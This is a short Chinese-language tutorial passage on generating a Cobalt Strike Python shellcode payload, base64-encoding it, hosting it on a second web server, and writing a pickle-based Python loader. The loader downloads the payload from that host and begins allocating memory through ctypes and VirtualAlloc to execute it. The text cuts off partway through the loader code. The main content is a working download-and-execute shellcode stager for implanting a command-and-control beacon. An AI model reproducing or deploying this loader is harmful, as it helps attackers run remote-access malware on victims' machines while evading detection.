-
首先使用cs生成一个64位的Python Payload
-
将生成的文件存放到文件夹中,由于我的cs运行在
kali
虚拟机上,我将payload放到web目录下,方便其他主机访问获取
-
我的
kali
虚拟机IP为192.168.204.128
,访问获取payload
-
截取其中的Payload,并进行base64编码,我使用的是科来编码工具
-
把这一串子base64放到公网服务器上,并开启web服务,我这里就用另一台虚拟机充当公网服务器,IP为
192.168.204.3
-
使用以下脚本将 Payload进行反序列化,脚本中通过web服务获取payload
import pickle
import base64
shellcode = """
import ctypes,urllib.request,codecs,base64
shellcode = urllib.request.urlopen('http://192.168.204.3/py.txt').read()
shellcode = base64.b64decode(shellcode)
shellcode =codecs.escape_decode(shellcode)[0]
shellcode = bytearray(shellcode)
# 设置VirtualAlloc返回类型为ctypes.c_uint64
ctypes.windll.k